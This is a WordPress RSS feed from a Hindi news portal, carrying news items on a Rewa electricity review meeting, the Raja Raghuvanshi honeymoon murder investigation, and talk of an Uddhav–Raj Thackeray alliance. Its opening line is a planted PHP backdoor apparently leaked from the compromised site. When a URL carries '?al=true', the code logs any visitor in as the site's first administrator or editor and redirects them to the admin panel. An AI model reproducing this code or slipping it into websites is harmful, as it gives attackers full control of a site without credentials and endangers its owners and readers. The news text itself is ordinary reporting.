// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Raj – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sat, 12 Jul 2025 07:56:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 फीडर सेपरेशन और नए विद्युत सब स्टेशन का निर्माण समय सीमा में करें : उप मुख्यमंत्री शुक्ल https://pratyushaashakinayikiran.com/?p=169925 Sat, 12 Jul 2025 07:56:00 +0000 https://pratyushaashakinayikiran.com/?p=169925 फीडर सेपरेशन और नए विद्युत सब स्टेशन का निर्माण समय सीमा में करें : उप मुख्यमंत्री शुक्ल

फीडर सेपरेशन और नए सब स्टेशन का निर्माण समय पर पूरा करें: उप मुख्यमंत्री शुक्ल का निर्देश

विद्युत परियोजनाओं में लापरवाही नहीं चलेगी, समयसीमा में पूरा हो काम: उप मुख्यमंत्री का सख्त संदेश

बिजली ट्रिपिंग रोकने के करें प्रभावी उपाय – बिजली उपभोक्ताओं को न हो असुविधा

भोपाल 

उप मुख्यमंत्री राजेन्द्र शुक्ल ने सर्किट हाउस रीवा में बैठक में कहा कि विद्युत व्यवस्था में सुधार के लिए कई परियोजनाओं में कार्य किया जा रहा है। फीडर सेपरेशन तथा नए विद्युत सब स्टेशन के निर्माण का कार्य तय समय सीमा में पूरा करें। शहर में पीटीएस चौराहा तथा चोरहटा में दो नए सब स्टेशन का निर्माण पूरा होने से विद्युत व्यवस्था बेहतर हुई है। शहर में कई स्थानों में विद्युत पोल क्षतिग्रस्त हो गए हैं। इन्हें तत्काल बदलें। इनसे कभी भी गंभीर दुर्घटना हो सकती है। शहर में बिजली की ट्रिपिंग को रोकने के लिए भी प्रभावी उपाय करें। कई बिजली उपभोक्ताओं द्वारा मीटर की जाँच के नाम पर परेशान करने की शिकायतें की गई हैं। जाँच के नाम पर ईमानदार बिजली उपभोक्ताओं को परेशान न करें। यदि कोई व्यक्ति बिजली की चोरी कर रहा है तो सही मूल्यांकन करके ही जुर्माना लगाएं।

उप मुख्यमंत्री शुक्ल ने कहा कि निर्माणाधीन सिक्स लेन बायपास रोड से बिजली लाइनों की तत्काल शिफ्टिंग कराएं। प्रस्तावित सड़क में भूमिगत विद्युत लाइन बिछाने का कार्य प्रस्तावित करें। अतिरिक्त मुख्य अभियंता पाण्डेय ने बताया कि खराब विद्युत पोल बदलने के लिए प्रस्ताव भेजा गया है। इसका कार्य शीघ्र शुरू किया जाएगा। विद्युत सब स्टेशन स्थापित करने का कार्य पूरा हो गया है। खराब ट्रांसफार्मर तय समय सीमा में बदले जा रहे हैं। संभाग के सभी डिपो में पर्याप्त संख्या में ट्रांसफार्मर उपलब्ध हैं। जिला पंचायत अध्यक्ष श्रीमती नीता कोल, अध्यक्ष नगर निगम व्यंकटेश पाण्डेय, स्थानीय जनप्रतिनिधि, विभागीय अधिकारी तथा निर्माण एजेंसियों के प्रतिनिधि उपस्थित रहे।

 

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राजा रघुवंशी हत्याकांड में आरोपी राज की दादी की सदमे से मौत https://pratyushaashakinayikiran.com/?p=164748 Wed, 18 Jun 2025 11:46:00 +0000 https://pratyushaashakinayikiran.com/?p=164748  इंदौर/फतेहपुर

 इंदौर के राजा रघुवंशी मर्डर केस से जुड़ी बड़ी खबर सामने आई है। सोनम रघुवंशी ने अपने जिस प्रेमी राज के साथ मिलकर पति राजा की हत्‍या करवाई, उसकी दादी की सदमे से मौत हो गई। बताया जा रहा है कि दादी को हार्ट अटैक आ गया। इसके बाद घर में कोहराम मच गया। राजा का पैतृक गांव यूपी के फतेहपुर में है। उसकी दादी यहीं रहती थीं। राज की गिरफ्तारी पर उन्‍होंने कहा था कि पोता बेकसूर है। उसको फंसाया गया है।

आपको बता दें कि राज कछवाहा मूलरूप से फतेहपुर जिले के रामपुर गांव का रहने वाला है। पुलिस ने उसे राजा रघुवंशी हत्याकांड मामले में गिरफ्तार किया है। 15 साल पहल राज का परिवार इंदौर में बस गया था। गांव में दादी और परिवार के अन्‍य लोग रहते हैं। राज कछवाहा के पिता तीन भाई थे। दो भाई रामपुर सुकेति गांव में अभी भी रहते हैं। 15 साल पहले राज कछवाहा के पिता स्थिति अच्छी नहीं थी। वह इंदौर चले गए थे। वहां फल की दुकान लगाने लगे। परिवार की हालत सुधरने पर करीब 10 साल पहले परिवार को बुला लिया, जिसमें राज की मां, दो बहनें और राज कछवाहा इंदौर चला गया। राज परिवार के साथ रहने लगा।

गांव में दादी के साथ रहती थी राज की बड़ी बहन

बड़ी बहन दादी के साथ गांव में रहती थी। कोरोना काल में पिता परिवार के साथ गांव आ गए। कोरोना काल में राज के पिता की मौत हो गई। इसके बाद राज कछवाहा परिवार के साथ फिर इंदौर चला गया। वहां राज कछवाह प्लाईवुड का काम करने लगा। सोनम के यहां पर राज प्लाईवुड का काम करता था। काम के दौरान उसकी सोनम से मुलाकात हुई।

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बेकसूर महिला को मारकर जलाते, फिर उस शव को सोनम का बताते; राजा के हत्यारों का था खौफनाक प्लान https://pratyushaashakinayikiran.com/?p=163458 Fri, 13 Jun 2025 08:26:00 +0000 https://pratyushaashakinayikiran.com/?p=163458 इंदौर 

राजा रघुवंशी के हत्यारों की योजना किसी महिला की हत्या कर उसके शव को जलाने की थी, ताकि उसे राजा की पत्नी सोनम का शव बताया जा सके और सोनम सच्चाई सामने आने तक कुछ और दिनों तक छिपी रहे। मेघालय पुलिस के एक वरिष्ठ अधिकारी ने बृहस्पतिवार को यह जानकारी दी। मेघालय पुलिस को यह भी पता चला कि सोनम का कथित प्रेमी राज कुशवाह हत्या की साजिश का मास्टरमाइंड था और वह सह-साजिशकर्ता थी।

सोनम से पूछताछ के पहले दिन उसके कथित प्रेमी राज और तीन अन्य ने यह भी खुलासा किया कि वह (सोनम) बुर्का पहनकर मेघालय से भागी थी और टैक्सी, बस और ट्रेन जैसे विभिन्न परिवहन साधनों का उपयोग करके मध्यप्रदेश के इंदौर पहुंची थी। पूर्वी खासी हिल्स जिले के पुलिस अधीक्षक विवेक सायम ने को बताया कि राजा की हत्या की साजिश 11 मई को सोनम के साथ उसकी शादी से ठीक पहले इंदौर में रची गई थी तथा इसका मास्टरमाइंड राज कुशवाह है, जबकि सोनम ने इस साजिश के लिए सहमति जताई थी।
राज का चचेरा भाई भी शामिल

पुलिस अधीक्षक विवेक सायम ने कहा, ‘‘तीनों युवक दोस्त थे और उनमें से एक राज का चचेरा भाई है। यह हत्या की सुपारी देने का कोई मामला नहीं है। हां, योजना हत्या की थी और उन्होंने अपने दोस्त राज की मदद करने के लिए ऐसा किया।’’ पुलिस अधिकारी ने बताया कि राज ने उन्हें खर्च के लिए 50,000 रुपये दिए थे। उन्होंने बताया कि वारदात की योजना फरवरी में इंदौर में शुरू हुई थी और उन्होंने राजा की हत्या के बाद सोनम के वहां से फरार होने के तरीके सोचे थे।

वरिष्ठ पुलिस अधिकारी ने कहा, ‘‘आरोपियों की एक योजना यह थी कि लोगों को विश्वास दिलाया जाए कि वह झरने में बह गई होगी। दूसरी योजना यह थी कि किसी अनजान महिला की हत्या कर दी जाए, उसके शव को दोपहिया वाहन पर लाद दिया जाए, शव को जला दिया जाए और दावा किया जाए कि यह सोनम का शव है। हालांकि, कोई भी योजना सफल नहीं हुई।’’
गुवाहाटी में ही राजा की हत्या करने की योजना बनाई

अधिकारी के मुताबिक, आरोपी नव-विवाहित जोड़े के 19 मई को असम पहुंचने से कुछ दिन पहले गुवाहाटी आए थे और उन्होंने पहले गुवाहाटी में ही राजा की हत्या करने की योजना बनाई थी। पुलिस अधीक्षक ने बताया कि वे लोग एक साथ वेइसाडोंग वाटरफॉल के लिए निकले और वहां तीनों ने असम से खरीदी गई कुल्हाड़ी से राजा पर हमला कर दिया तथा अपराह्न दो बजे से 2.18 बजे के बीच सोनम के सामने राजा की हत्या कर दी और शव को एक खाई में फेंक दिया।

अधिकारी के अनुसार, सोनम ने अपना रेनकोट आकाश को दे दिया, क्योंकि उसकी शर्ट पर खून के धब्बे थे। उन्होंने बताया कि इसके बाद आरोपी स्कूटर से वीसावडोंग के लिए निकले और आकाश ने बाद में रेनकोट फेंक दिया, क्योंकि उस पर भी खून के धब्बे थे। एसपी ने बताया कि आरोपियों ने सोनम और राजा द्वारा किराए पर लिया गया दोपहिया वाहन भी एक स्थान पर छोड़ दिया। उन्होंने बताया कि जब सोनम के लापता होने की बात सामने आई, तो पुलिस ने रेनकोट और दोपहिया वाहन बरामद कर लिया।

पुलिस अधिकारी ने बताया, ‘‘राज ने विशाल को एक बुर्का दिया था, जिसे उसने सोनम को सौंप दिया। वह उसे पहनकर पुलिस बाजार पहुंची और टैक्सी लेकर गुवाहाटी चली गई। गुवाहाटी से वह बस से सिलीगुड़ी (पश्चिम बंगाल) पहुंची। वहां से वह पटना और आरा जाने के लिए बस लेती हुई लखनऊ के लिए ट्रेन में सवार हुई। लखनऊ से सोनम बस लेकर इंदौर पहुंचीं।’’
राज घबरा गया और उसने सोनम से कहा…

इस बीच, मेघालय की मीडिया ने एक पर्यटक गाइड से बातचीत की, जिसने बताया कि उसने सोनम और राजा को तीन लोगों के साथ देखा था। पुलिस अधिकारी के मुताबिक, राज ने सोनम से कहा कि वह इंदौर छोड़कर सिलीगुड़ी में कहीं चली जाए और खुद को अपहरण का शिकार बताए, लेकिन आठ जून को जब सोनम इंदौर से निकली, तो मेघालय से दो पुलिस टीम सादे कपड़ों में उत्तर प्रदेश और मध्यप्रदेश पहुंच गईं।

पुलिस अधीक्षक ने कहा, ‘‘जब उत्तर प्रदेश में पहली गिरफ्तारी (आकाश) हुई, तो राज घबरा गया और उसने सोनम से कहा कि वह जहां भी हो, अपने परिवार को फोन करके बताए कि वह अपहरण गिरोह से बचकर भागी है। इस तरह, गाजीपुर में यह पूरा मामला सामने आया।’’ उन्होंने सोचा था कि राजा का शव नहीं मिलेगा, क्योंकि वह बहुत दूर था और पुलिस जांच में एक से दो महीने लग जाएंगे, इसलिए सोनम ने खुद को पीड़ित बताने के बारे में सोचा।
90 दिनों के भीतर आरोप पत्र

पुलिस अधिकारी ने कहा, ‘‘हम उनके बयान दर्ज कर रहे हैं। हम उनसे पूछताछ कर रहे हैं। एक बार जब हमें स्पष्ट तस्वीर मिल जाएगी-जैसा कि आरोपियों ने अलग-अलग बात कही है-तो हम सबूत इकट्ठा करेंगे और अपराध स्थल पर अपराध के दृश्य को दोहराएंगे।’’ पुलिस अधिकारी ने कहा कि उन्हें विश्वास है कि पुलिस इस मामले में अनिवार्य 90 दिनों के भीतर आरोप पत्र दाखिल कर देगी।

सोनम (25) को मेघालय में हनीमून के दौरान अपने पति राजा रघुवंशी (29) की साजिशन हत्या में शामिल होने के आरोप में गिरफ्तार किया गया है। सोनम पर आरोप है कि उसने अपने कथित प्रेमी राज कुशवाह (20) के साथ मिलकर भाड़े के तीन हत्यारों के जरिये अपने पति की हत्या कराई, ताकि उसे रास्ते से हटाया जा सके। राजा रघुवंशी हत्याकांड के पांचों आरोपी फिलहाल मेघालय पुलिस की हिरासत में हैं, जिनसे पूछताछ के जरिये इस वारदात की कड़ियां जोड़ी जा रही हैं।
छुट्टियां मनाते समय लापता हो गए राजा

राजा और सोनम 23 मई को मेघालय के पूर्वी खासी हिल्स जिले के सोहरा इलाके में छुट्टियां मनाते समय लापता हो गए थे। राजा का शव दो जून को एक खड्ड में मिला था, जबकि सोनम घटना के बाद से लापता थी। सोनम ने उत्तर प्रदेश के गाजीपुर जिले में पुलिस के सामने आठ जून को देर रात आत्मसमर्पण कर दिया, जबकि कुशवाहा समेत चार आरोपियों को मध्यप्रदेश और उत्तर प्रदेश के अलग-अलग इलाकों से गिरफ्तार किया गया था। राजा का परिवार ट्रांसपोर्ट के कारोबार से जुड़ा है। सोनम और राजा की शादी 11 मई को इंदौर में हुई थी और वे 20 मई को हनीमून के लिए गुवाहाटी रवाना हुए थे। मेघालय पुलिस का विशेष जांच दल (एसआईटी) राजा रघुवंशी की हत्या के मामले की तहकीकात कर रहा है।

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उद्धव-राज ठाकरे के साथ आने की सरगर्मी … सुप्रिया सुले बोलीं- जितने साथी आएं, उतनी मजबूत होगी अघाड़ी https://pratyushaashakinayikiran.com/?p=162229 Sun, 08 Jun 2025 03:38:00 +0000 https://pratyushaashakinayikiran.com/?p=162229 मुंबई

महाराष्ट्र के राजनीतिक गलियारे में एक बार फिर उद्धव और राज ठाकरे की पार्टियों के बीच अलायंस की खबरें हैं. इस बीच, शरद पवार की बेटी और NCP (SP) सांसद सुप्रिया सुले की प्रतिक्रिया आई है. सुले ने कहा, लोकतंत्र में सभी को अधिकार है कि किसे-किसके साथ जाना है… जितने पार्टनर आएंगे तो अच्छा है महाविकास अघाड़ी के लिए. एक साथ मिलकर महाराष्ट्र के लिए काम करेंगे. ताकत बढ़ेगी. अच्छी बात है कि अगर दोनों भाई साथ आ रहे हैं तो… हमें राज ठाकरे के आने से कोई दिक्कत नहीं है.

इससे पहले शिवसेना (यूबीटी) प्रमुख उद्धव ठाकरे ने कहा था, महाराष्ट्र के लोगों के दिल में जो है, वही होगा. हमारे और हमारे शिवसैनिकों के दिल में कोई भ्रम नहीं है. उनके (मनसे) कार्यकर्ताओं में भी कोई भ्रम नहीं है. दरअसल, उद्धव से चचेरे भाई राज ठाकरे की पार्टी के बीच अलायंस की संभावना के बारे में सवाल किया गया था. ठाकरे भाइयों द्वारा हाल में दिए गए बयानों के बाद नगर निगम चुनाव से पहले दोनों के बीच संभावित गठबंधन की अटकलें तेज हो गई हैं.

उद्धव ने क्या कहा…

उद्धव ने कहा, वे एक-दूसरे के संपर्क में हैं. हम संदेश नहीं भेजेंगे. हम सीधे समाचार पहुंचाएंगे. उद्धव ने यह बात तब कही, जब शिंदे सेना के स्थानीय नेता ने यूबीटी सेना जॉइन की. हालांकि, उद्धव ने इस सवाल को टाल दिया कि क्या उनकी पार्टी और मनसे के बीच किसी तरह की गठबंधन वार्ता चल रही है. राज ठाकरे ने शिवसेना छोड़ने के बाद साल 2006 में नई पार्टी मनसे का गठन किया था.

अमित ठाकरे बोले- एक-दूसरे से बात करें…

वहीं, राज ठाकरे के बेटे और MNS नेता अमित ठाकरे ने गठबंधन पर कहा था, ठाकरे भाइयों को एक-दूसरे से बात करनी चाहिए. मीडिया में बात करने से गठबंधन नहीं होता. हमारे इस मुद्दे पर बात करने से कोई फर्क नहीं पड़ेगा. मुझे दोनों भाइयों के एक साथ आने से कोई दिक्कत नहीं है. अगर वो (उद्धव) चाहें तो फोन कर सकते हैं. मीडिया में बात करने से गठबंधन नहीं होता. उनके पास एक-दूसरे के मोबाइल नंबर हैं. वे एक-दूसरे से बात कर सकते हैं.

MNS नेता क्या कह रहे?

महाराष्ट्र नवनिर्माण सेना (मनसे) के नेता प्रकाश महाजन ने कहा था कि अगर शिवसेना (यूबीटी) दोनों दलों के बीच गठबंधन को लेकर वाकई गंभीर है तो आदित्य ठाकरे को आगे आकर राज ठाकरे से मिलना चाहिए. महाजन का कहना था कि शिवसेना (यूबीटी) में उचित कद के नेता को संभावित गठबंधन पर चर्चा के लिए मनसे अध्यक्ष राज ठाकरे के पास जाना चाहिए. अगर किसी जूनियर नेता को बातचीत के लिए भेजा जाता है तो राज ठाकरे भी किसी जूनियर पदाधिकारी को भेजेंगे.

उन्होंने कहा, अगर वाकई गठबंधन होना है तो आदित्य ठाकरे को आगे आकर राज साहब के विचारों को समझना चाहिए. अगर आदित्य ठाकरे बातचीत के लिए जाते हैं तो दोनों पक्ष गंभीरता को समझेंगे. मराठी लोगों में एक साथ आने की भावना है.

अलायंस की चर्चाएं कब शुरू हुईं?

ठाकरे भाइयों के बीच सुलह की खबरें उस समय तेज हुईं, जब राज ठाकरे ने कहा कि मराठी मानुष (मराठी भाषी लोगों) के हित में एकजुट होना कठिन नहीं है. राज के बयान पर उद्धव ठाकरे ने इस बात पर जोर दिया है कि वो भी छोटी-मोटी लड़ाइयां किनारे रखने के लिए तैयार हैं. बशर्ते, महाराष्ट्र के हितों के खिलाफ काम करने वालों को जगह ना दी जाए.

क्या बोले सीएम फडणवीस?

अलायंस की खबरों पर बीजेपी नेता और महाराष्ट्र के मुख्यमंत्री देवेन्द्र फडणवीस ने शुक्रवार को प्रतिक्रिया दी. उन्होंने कहा, यह राज ठाकरे और उद्धव ठाकरे को तय करना है कि उनकी पार्टियों को गठबंधन करना चाहिए या नहीं. हमारा इससे कोई लेना-देना नहीं है. उद्धव ठाकरे की टिप्पणी पर प्रतिक्रिया देना राज ठाकरे का काम है. वे तय करेंगे कि गठबंधन करना है या नहीं.

अजित पवार ने भी दिया बयान…

एनसीपी नेता और उपमुख्यमंत्री अजित पवार ने भी कहा कि गठबंधन पर निर्णय संबंधित पार्टी प्रमुखों का विशेषाधिकार है. राज ठाकरे मनसे के प्रमुख हैं और उद्धव ठाकरे शिवसेना (यूबीटी) के प्रमुख हैं. वे तय करेंगे कि रेल इंजन (मनसे का चुनाव चिह्न) और जलती मशाल (सेना यूबीटी का चुनाव चिह्न) के बीच गठबंधन होगा या नहीं. यह दोनों दलों के नेताओं पर निर्भर है कि वे इस पर फैसला लें. इस मुद्दे पर आप और मेरे बीच चर्चा का क्या मतलब है.

 

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आज एक हुए उद्धव और राज ठाकरे तो BJP का क्या होगा? सर्वे में आई चौंकाने वाली बात https://pratyushaashakinayikiran.com/?p=161671 Thu, 05 Jun 2025 14:26:00 +0000 https://pratyushaashakinayikiran.com/?p=161671 मुंबई

उद्धव ठाकरे के नेतृत्व वाली शिवसेना (UBT) और राज ठाकरे की अगुवाई वाली महाराष्ट्र नवनिर्माण सेना (मनसे) के बीच गठबंधन होने पर भाजपा की चुनावी संभावनाओं पर कोई असर नहीं पड़ने वाला। महाराष्ट्र में सत्तारूढ़ भारतीय जनता पार्टी (BJP) के एक पदाधिकारी ने आगामी मुंबई नगर निगम चुनावों के मद्देनजर कराए गए एक आंतरिक सर्वेक्षण का हवाला देते हुए यह बात कही है।

भाजपा ने बृहन्मुंबई नगर निगम के साथ-साथ पुणे और ठाणे सहित अन्य प्रमुख नगर निकायों के चुनावों की तैयारी शुरू कर दी है, जो इस साल के अंत में होने की संभावना है। उद्धव ठाकरे के चचेरे भाई राज ठाकरे ने इस तरह के संकेत देने वाले बयान से दोनों के बीच संभावित सुलह की अटकलों को हवा दे दी है कि वे 'छोटे-मोटे मुद्दों' को नजरअंदाज कर सकते हैं और लगभग दो दशक के कटुतापूर्ण मतभेद के बाद हाथ मिला सकते हैं।

मनसे ने 2024 के लोकसभा चुनावों में महाराष्ट्र में भाजपा को समर्थन की पेशकश की थी लेकिन छह महीने बाद दोनों दलों ने राज्य विधानसभा चुनाव अलग-अलग लड़ा।

भाजपा के पदाधिकारी ने बुधवार को कहा, 'ठाकरे भाइयों से संबंधित राजनीतिक घटनाक्रम के मद्देनजर भाजपा ने मुंबई के चुनावी परिदृश्य पर उद्धव-राज गठबंधन के संभावित प्रभाव का आकलन करने के लिए एक विस्तृत सर्वेक्षण कराया है।' उन्होंने कहा कि आंतरिक आकलन के निष्कर्षों के अनुसार, उनके संभावित गठबंधन से शहर में भाजपा की संभावनाओं को नुकसान पहुंचने के आसार नहीं हैं।

पदाधिकारी ने कहा कि सर्वेक्षण से संकेत मिलता है कि भाजपा तीन प्रमुख कारकों की वजह से मुंबई में मजबूत स्थिति में है: अपने पारंपरिक मतदाता आधार का भरोसा, प्रधानमंत्री नरेन्द्र मोदी एवं केंद्रीय गृह मंत्री अमित शाह का नेतृत्व और पिछले राज्य विधानसभा चुनावों में पार्टी का बेहतरीन प्रदर्शन।

उन्होंने कहा, 'यहां तक ​​कि पारंपरिक मराठी मतदाता आधार वाले क्षेत्रों में भी भाजपा का समर्थन स्थिर बना हुआ है। सर्वेक्षण से पता चलता है कि ठाकरे भाइयों के बीच गठबंधन से पार्टी की सीट संख्या पर प्रतिकूल प्रभाव नहीं पड़ेगा।'

पदाधिकारी ने कहा कि आकलन से यह भी संकेत मिलता है कि 2022 में शिवसेना में विभाजन के बाद मुंबई में उद्धव ठाकरे का प्रभाव कम हो गया है और पार्टी के लगभग आधे पार्षद एकनाथ शिंदे गुट में शामिल हो गए हैं। उन्होंने कहा कि इस बीच, राज ठाकरे का प्रभाव सीमित माना जाता है। पदाधिकारी ने कहा कि अगर भाजपा बीएमसी चुनावों में (कुल 227 में से) 150 सीट पर चुनाव लड़ती है तो उसे फायदा होगा। उन्होंने कहा कि पार्टी की तैयारियां उसी के अनुसार की जा रही हैं।

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